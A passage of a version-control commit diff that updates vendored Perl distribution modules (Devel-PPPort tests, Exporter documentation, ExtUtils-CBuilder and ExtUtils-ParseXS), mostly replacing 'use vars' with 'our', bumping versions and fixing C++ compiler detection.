+      unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+        warn $_;
+        $fail++;
+      }
+    }
+  }
+  else {
+    ok(@w == 0);
+  }
+  ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+  ok($@, '');
+}
+else {
+  if ($@) {
+    print "# $@";
+    ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+  }
+  else {
+    ok(1);
+  }
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/warn.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/warn.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/warn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,78 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/warn instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (5) {
+    load();
+    plan(tests => 5);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');
+

Added: vendor/perl/dist/dist/Devel-PPPort/typemap
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/typemap	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/typemap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,36 @@
+################################################################################
+#
+#  typemap -- XS type mappings not present in early perls
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+UV                      T_UV
+NV                      T_NV
+HV *                    T_HVREF
+STRLEN                  T_UV
+
+INPUT
+T_UV
+        $var = ($type)SvUV($arg)
+T_NV
+        $var = ($type)SvNV($arg)
+T_HVREF
+        if (SvROK($arg) && SvTYPE(SvRV($arg))==SVt_PVHV)
+            $var = (HV*)SvRV($arg);
+        else
+            Perl_croak(aTHX_ \"$var is not a hash reference\")
+
+OUTPUT
+T_UV
+        sv_setuv($arg, (UV)$var);
+T_NV
+        sv_setnv($arg, (NV)$var);

Modified: vendor/perl/dist/dist/Dumpvalue/t/Dumpvalue.t
===================================================================
--- vendor/perl/dist/dist/Dumpvalue/t/Dumpvalue.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Dumpvalue/t/Dumpvalue.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 	$^W = 0;
 }
 
-use vars qw( $foo @bar %baz );
+our ( $foo, @bar, %baz );
 
 use Test::More tests => 88;
 

Modified: vendor/perl/dist/dist/Exporter/lib/Exporter.pm
===================================================================
--- vendor/perl/dist/dist/Exporter/lib/Exporter.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Exporter/lib/Exporter.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 our $Debug = 0;
 our $ExportLevel = 0;
 our $Verbose ||= 0;
-our $VERSION = '5.72';
+our $VERSION = '5.73';
 our (%Cache);
 
 sub as_heavy {
@@ -106,14 +106,14 @@
 
   package YourModule;
   require Exporter;
-  @ISA = qw(Exporter);
-  @EXPORT_OK = qw(munge frobnicate);  # symbols to export on request
+  our @ISA = qw(Exporter);
+  our @EXPORT_OK = qw(munge frobnicate);  # symbols to export on request
 
 or
 
   package YourModule;
   use Exporter 'import'; # gives you Exporter's import() method directly
-  @EXPORT_OK = qw(munge frobnicate);  # symbols to export on request
+  our @EXPORT_OK = qw(munge frobnicate);  # symbols to export on request
 
 In other files which wish to use C<YourModule>:
 
@@ -146,8 +146,8 @@
 The symbols must be given by full name with the exception that the
 ampersand in front of a function is optional, e.g.
 
-    @EXPORT    = qw(afunc $scalar @array);   # afunc is a function
-    @EXPORT_OK = qw(&bfunc %hash *typeglob); # explicit prefix on &bfunc
+    our @EXPORT    = qw(afunc $scalar @array);   # afunc is a function
+    our @EXPORT_OK = qw(&bfunc %hash *typeglob); # explicit prefix on &bfunc
 
 If you are only exporting function names it is recommended to omit the
 ampersand, as the implementation is faster this way.
@@ -234,9 +234,9 @@
 
 e.g., F<Module.pm> defines:
 
-    @EXPORT      = qw(A1 A2 A3 A4 A5);
-    @EXPORT_OK   = qw(B1 B2 B3 B4 B5);
-    %EXPORT_TAGS = (T1 => [qw(A1 A2 B1 B2)], T2 => [qw(A1 A2 B3 B4)]);
+    our @EXPORT      = qw(A1 A2 A3 A4 A5);
+    our @EXPORT_OK   = qw(B1 B2 B3 B4 B5);
+    our %EXPORT_TAGS = (T1 => [qw(A1 A2 B1 B2)], T2 => [qw(A1 A2 B3 B4)]);
 
 Note that you cannot use tags in @EXPORT or @EXPORT_OK.
 
@@ -279,8 +279,8 @@
 
     package A;
 
-    @ISA = qw(Exporter);
-    @EXPORT_OK = qw($b);
+    our @ISA = qw(Exporter);
+    our @EXPORT_OK = qw($b);
 
     sub import
     {
@@ -293,8 +293,8 @@
 Instead, say the following:
 
     package A;
-    @ISA = qw(Exporter);
-    @EXPORT_OK = qw($b);
+    our @ISA = qw(Exporter);
+    our @EXPORT_OK = qw($b);
 
     sub import
     {
@@ -374,7 +374,7 @@
 C<@EXPORT> or C<@EXPORT_OK>, two utility functions are provided which allow
 you to easily add tagged sets of symbols to C<@EXPORT> or C<@EXPORT_OK>:
 
-  %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]);
+  our %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]);
 
   Exporter::export_tags('foo');     # add aa, bb and cc to @EXPORT
   Exporter::export_ok_tags('bar');  # add aa, cc and dd to @EXPORT_OK
@@ -391,7 +391,7 @@
 
 The simplest way to do this is:
 
-  %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]);
+ our  %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]);
 
   # add all the other ":class" tags to the ":all" class,
   # deleting duplicates
@@ -460,7 +460,7 @@
   our @ISA = qw(Exporter);
   our @EXPORT_OK = qw(munge frobnicate);
 
-If backward compatibility for Perls under 5.6 is important,
+If backward compatibility for Perls B<under> 5.6 is important,
 one must write instead a C<use vars> statement.
 
   use vars qw(@ISA @EXPORT_OK);

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/Changes
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,37 @@
 Revision history for Perl extension ExtUtils::CBuilder.
 
+0.280230 - 2017-11-22
+
+  Fixed:
+
+  - Updated Changes
+  - Used OurPkgVersion instead of PkgVersion
+
+0.280229 - 2017-10-13
+
+  Fixed:
+
+  - Remove dependency to 'vars' package.
+
+0.280228 - 2017-07-20
+
+  Fixed:
+
+  - Fix link() on Windows, broken in version 0.280226.
+
+0.280227 - 2017-07-19
+
+  Fixed:
+
+  - Restore compatibility of test suite to Perl 5.6.
+
+0.280226 - 2017-07-14
+
+  Fixed:
+
+  - Fix C++ compiler detection (RT #131749)
+    (thanks to stphnlyd)
+
 0.280225 - 2016-01-04
 
   Fixed:
@@ -8,7 +40,7 @@
 
 0.280224 - 2015-10-09
 
-  Enhncements:
+  Enhancements:
 
   - Use warnings/strict on all modules.
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/LICENSE
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/LICENSE	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/LICENSE	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-This software is copyright (c) 2015 by Ken Williams.
+This software is copyright (c) 2017 by Ken Williams.
 
 This is free software; you can redistribute it and/or modify it under
 the same terms as the Perl 5 programming language system itself.
@@ -12,7 +12,7 @@
 
 --- The GNU General Public License, Version 1, February 1989 ---
 
-This software is Copyright (c) 2015 by Ken Williams.
+This software is Copyright (c) 2017 by Ken Williams.
 
 This is free software, licensed under:
 
@@ -272,7 +272,7 @@
 
 --- The Artistic License 1.0 ---
 
-This software is Copyright (c) 2015 by Ken Williams.
+This software is Copyright (c) 2017 by Ken Williams.
 
 This is free software, licensed under:
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# This file was automatically generated by Dist::Zilla::Plugin::MakeMaker v5.039.
+# This file was automatically generated by Dist::Zilla::Plugin::MakeMaker v6.010.
 use strict;
 use warnings;
 
@@ -29,7 +29,7 @@
   "TEST_REQUIRES" => {
     "Test::More" => "0.47"
   },
-  "VERSION" => "0.280225",
+  "VERSION" => "0.280228",
   "test" => {
     "TESTS" => "t/*.t"
   }
@@ -60,6 +60,6 @@
   unless eval { ExtUtils::MakeMaker->VERSION(6.52) };
 
 $WriteMakefileArgs{INSTALLDIRS} = 'perl'
-    if $] >= 5.009003 && $] <= 5.011000;
+    if "$]" >= 5.009003 && "$]" <= 5.011000;
 
 WriteMakefile(%WriteMakefileArgs);

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,4 @@
 package ExtUtils::CBuilder::Base;
-$ExtUtils::CBuilder::Base::VERSION = '0.280225';
 use strict;
 use warnings;
 use File::Spec;
@@ -10,6 +9,8 @@
 use IPC::Cmd qw(can_run);
 use File::Temp qw(tempfile);
 
+our $VERSION = '0.280230'; # VERSION
+
 # More details about C/C++ compilers:
 # http://developers.sun.com/sunstudio/documentation/product/compiler.jsp
 # http://gcc.gnu.org/
@@ -45,16 +46,26 @@
      if defined $ENV{LDFLAGS};
 
   unless ( exists $self->{config}{cxx} ) {
-    my ($ccpath, $ccbase, $ccsfx ) = fileparse($self->{config}{cc}, qr/\.[^.]*/);
+
+    my ($ccbase, $ccpath, $ccsfx ) = fileparse($self->{config}{cc}, qr/\.[^.]*/);
+
+    ## If the path is just "cc", fileparse returns $ccpath as "./"
+    $ccpath = "" if $self->{config}{cc} =~ /^$ccbase$ccsfx$/;
+      
     foreach my $cxx (@{$cc2cxx{$ccbase}}) {
-      if( can_run( File::Spec->catfile( $ccpath, $cxx, $ccsfx ) ) ) {
-        $self->{config}{cxx} = File::Spec->catfile( $ccpath, $cxx, $ccsfx );
+      my $cxx1 = File::Spec->catfile( $ccpath, $cxx . $ccsfx);
+
+      if( can_run( $cxx1 ) ) {
+        $self->{config}{cxx} = $cxx1;
 	last;
       }
-      if( can_run( File::Spec->catfile( $cxx, $ccsfx ) ) ) {
-        $self->{config}{cxx} = File::Spec->catfile( $cxx, $ccsfx );
+      my $cxx2 = $cxx . $ccsfx;
+
+      if( can_run( $cxx2 ) ) {
+        $self->{config}{cxx} = $cxx2;
 	last;
       }
+
       if( can_run( $cxx ) ) {
         $self->{config}{cxx} = $cxx;
 	last;

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 package ExtUtils::CBuilder::Platform::Unix;
-$ExtUtils::CBuilder::Platform::Unix::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Base;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Base);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Base);
 
 sub link_executable {
   my $self = shift;

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 package ExtUtils::CBuilder::Platform::VMS;
-$ExtUtils::CBuilder::Platform::VMS::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Base;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Base);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Base);
 
 use File::Spec::Functions qw(catfile catdir);
 use Config;

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,7 @@
 package ExtUtils::CBuilder::Platform::Windows::BCC;
-$ExtUtils::CBuilder::Platform::Windows::BCC::VERSION = '0.280225';
+
+our $VERSION = '0.280230'; # VERSION
+
 use strict;
 use warnings;
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,7 @@
 package ExtUtils::CBuilder::Platform::Windows::GCC;
-$ExtUtils::CBuilder::Platform::Windows::GCC::VERSION = '0.280225';
+
+our $VERSION = '0.280230'; # VERSION
+
 use warnings;
 use strict;
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,7 @@
 package ExtUtils::CBuilder::Platform::Windows::MSVC;
-$ExtUtils::CBuilder::Platform::Windows::MSVC::VERSION = '0.280225';
+
+our $VERSION = '0.280230'; # VERSION
+
 use warnings;
 use strict;
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,4 @@
 package ExtUtils::CBuilder::Platform::Windows;
-$ExtUtils::CBuilder::Platform::Windows::VERSION = '0.280225';
 use strict;
 use warnings;
 
@@ -9,8 +8,8 @@
 use ExtUtils::CBuilder::Base;
 use IO::File;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Base);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Base);
 
 =begin comment
 
@@ -151,7 +150,7 @@
   # if running in perl source tree, look for libs there, not installed
   my $lddlflags = $cf->{lddlflags};
   my $perl_src = $self->perl_src();
-  $lddlflags =~ s/\Q$cf->{archlibexp}\E[\\\/]CORE/$perl_src\/lib\/CORE/ if $perl_src;
+  $lddlflags =~ s{\Q$cf->{archlibexp}\E[\\/]CORE}{$perl_src/lib/CORE} if $perl_src;
 
   my %spec = (
     srcdir        => $to,

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 package ExtUtils::CBuilder::Platform::aix;
-$ExtUtils::CBuilder::Platform::aix::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Platform::Unix;
 use File::Spec;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 sub need_prelink { 1 }
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 package ExtUtils::CBuilder::Platform::android;
-$ExtUtils::CBuilder::Platform::android::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use File::Spec;
@@ -6,8 +6,8 @@
 use ExtUtils::CBuilder::Platform::Unix;
 use Config;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 # The Android linker will not recognize symbols from
 # libperl unless the module explicitly depends on it.

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 package ExtUtils::CBuilder::Platform::cygwin;
-$ExtUtils::CBuilder::Platform::cygwin::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use File::Spec;
 use ExtUtils::CBuilder::Platform::Unix;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 # TODO: If a specific exe_file name is requested, if the exe created
 # doesn't have that name, we might want to rename it.  Apparently asking

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 package ExtUtils::CBuilder::Platform::darwin;
-$ExtUtils::CBuilder::Platform::darwin::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Platform::Unix;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 sub compile {
   my $self = shift;

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 package ExtUtils::CBuilder::Platform::dec_osf;
-$ExtUtils::CBuilder::Platform::dec_osf::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Platform::Unix;
 use File::Spec;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 sub link_executable {
   my $self = shift;

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 package ExtUtils::CBuilder::Platform::os2;
-$ExtUtils::CBuilder::Platform::os2::VERSION = '0.280225';
+
 use warnings;
 use strict;
 use ExtUtils::CBuilder::Platform::Unix;
 
-use vars qw(@ISA);
- at ISA = qw(ExtUtils::CBuilder::Platform::Unix);
+our $VERSION = '0.280230'; # VERSION
+our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
 
 sub need_prelink { 1 }
 

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 package ExtUtils::CBuilder;
-$ExtUtils::CBuilder::VERSION = '0.280225';
+
 use File::Spec ();
 use File::Path ();
 use File::Basename ();
@@ -7,7 +7,8 @@
 
 use warnings;
 use strict;
-use vars qw(@ISA);
+our $VERSION = '0.280230'; # VERSION
+our @ISA;
 
 # We only use this once - don't waste a symbol table entry on it.
 # More importantly, don't make it an inheritable method.

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/t/00-have-compiler.t
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/t/00-have-compiler.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/t/00-have-compiler.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,13 +33,13 @@
 
     # This will fork a child that will print
     #    'Can't exec "djaadjfkadjkfajdf"'
-    # or similar on STDERR; so make sure fd2 is temporarily closed before
-    # the fork
-    open(my $orig_err, ">&", \*STDERR) or die "Can't dup STDERR: $!";
-    close(STDERR);
+    # or similar on STDERR; so make sure fd2 is temporarily redirected to
+    # oblivion before the fork
+    open(OLDERR, ">&STDERR") or die "Can't dup STDERR: $!";
+    open(STDERR, ">", File::Spec->devnull()) or die "Can't redirect STDERR: $!";
     my $res = $b1->have_compiler;
-    open(STDERR, ">&", $orig_err) or die "Can't dup \$orig_err $!";
-    close($orig_err);
+    open(STDERR, ">&OLDERR") or die "Can't restore STDERR: $!";
+    close(OLDERR);
 
     is($res, 0, "have_compiler: fake missing cc" );
 }
@@ -47,11 +47,11 @@
     my $b2 = ExtUtils::CBuilder->new(quiet => 1);
     configure_fake_missing_compilers($b2);
 
-    open(my $orig_err, ">&", \*STDERR) or die "Can't dup STDERR: $!";
-    close(STDERR);
+    open(OLDERR, ">&STDERR") or die "Can't dup STDERR: $!";
+    open(STDERR, ">", File::Spec->devnull()) or die "Can't redirect STDERR: $!";
     my $res = $b2->have_cplusplus;
-    open(STDERR, ">&", $orig_err) or die "Can't dup \$orig_err $!";
-    close($orig_err);
+    open(STDERR, ">&OLDERR") or die "Can't restore STDERR: $!";
+    close(OLDERR);
 
     is($res, 0, "have_cplusplus: fake missing c++" );
 }

Modified: vendor/perl/dist/dist/ExtUtils-CBuilder/t/01-basic.t
===================================================================
--- vendor/perl/dist/dist/ExtUtils-CBuilder/t/01-basic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-CBuilder/t/01-basic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -75,8 +75,7 @@
 # include_dirs should be settable as string or list
 {
   package Sub;
-  use vars '@ISA';
-  @ISA = ('ExtUtils::CBuilder');
+  our @ISA = ('ExtUtils::CBuilder');
   my $saw = 0;
   sub do_system {
     if ($^O eq "MSWin32") {

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/Changes
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,20 @@
 Revision history for Perl extension ExtUtils::ParseXS.
 
+3.36
+  - Make generated code avoid warnings about the "items" variable
+    being unused
+  - Avoid some unused-variable warnings generated by XS code in the
+    test suite
+
+3.35 - Mon Jul 31 17:50:00 CET 2017
+  - Fix ExtUtils-ParseXS/t/*.t that needed '.' in @INC (David Mitchell)
+  - Remove impediment to compiling under C++11 (Karl Williamson)
+  - Make build reproducinle (Chris Lamb)
+  - (perl #127834) remove . from the end of @INC if complex modules
+    are loaded (Tony Cook)
+  - Replace :: with __ in THIS like it's done for parameters/return
+    values (Mattia Barbon)
+
 3.30 - Mon Aug 31 10:35:00 CET 2015
   - Promote to stable CPAN release.
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use warnings;
 use Symbol;
 
-our $VERSION = '3.34';
+our $VERSION = '3.39';
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::ParseXS::CountLines;
 use strict;
 
-our $VERSION = '3.34';
+our $VERSION = '3.39';
 
 our $SECTION_END_MARKER;
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm
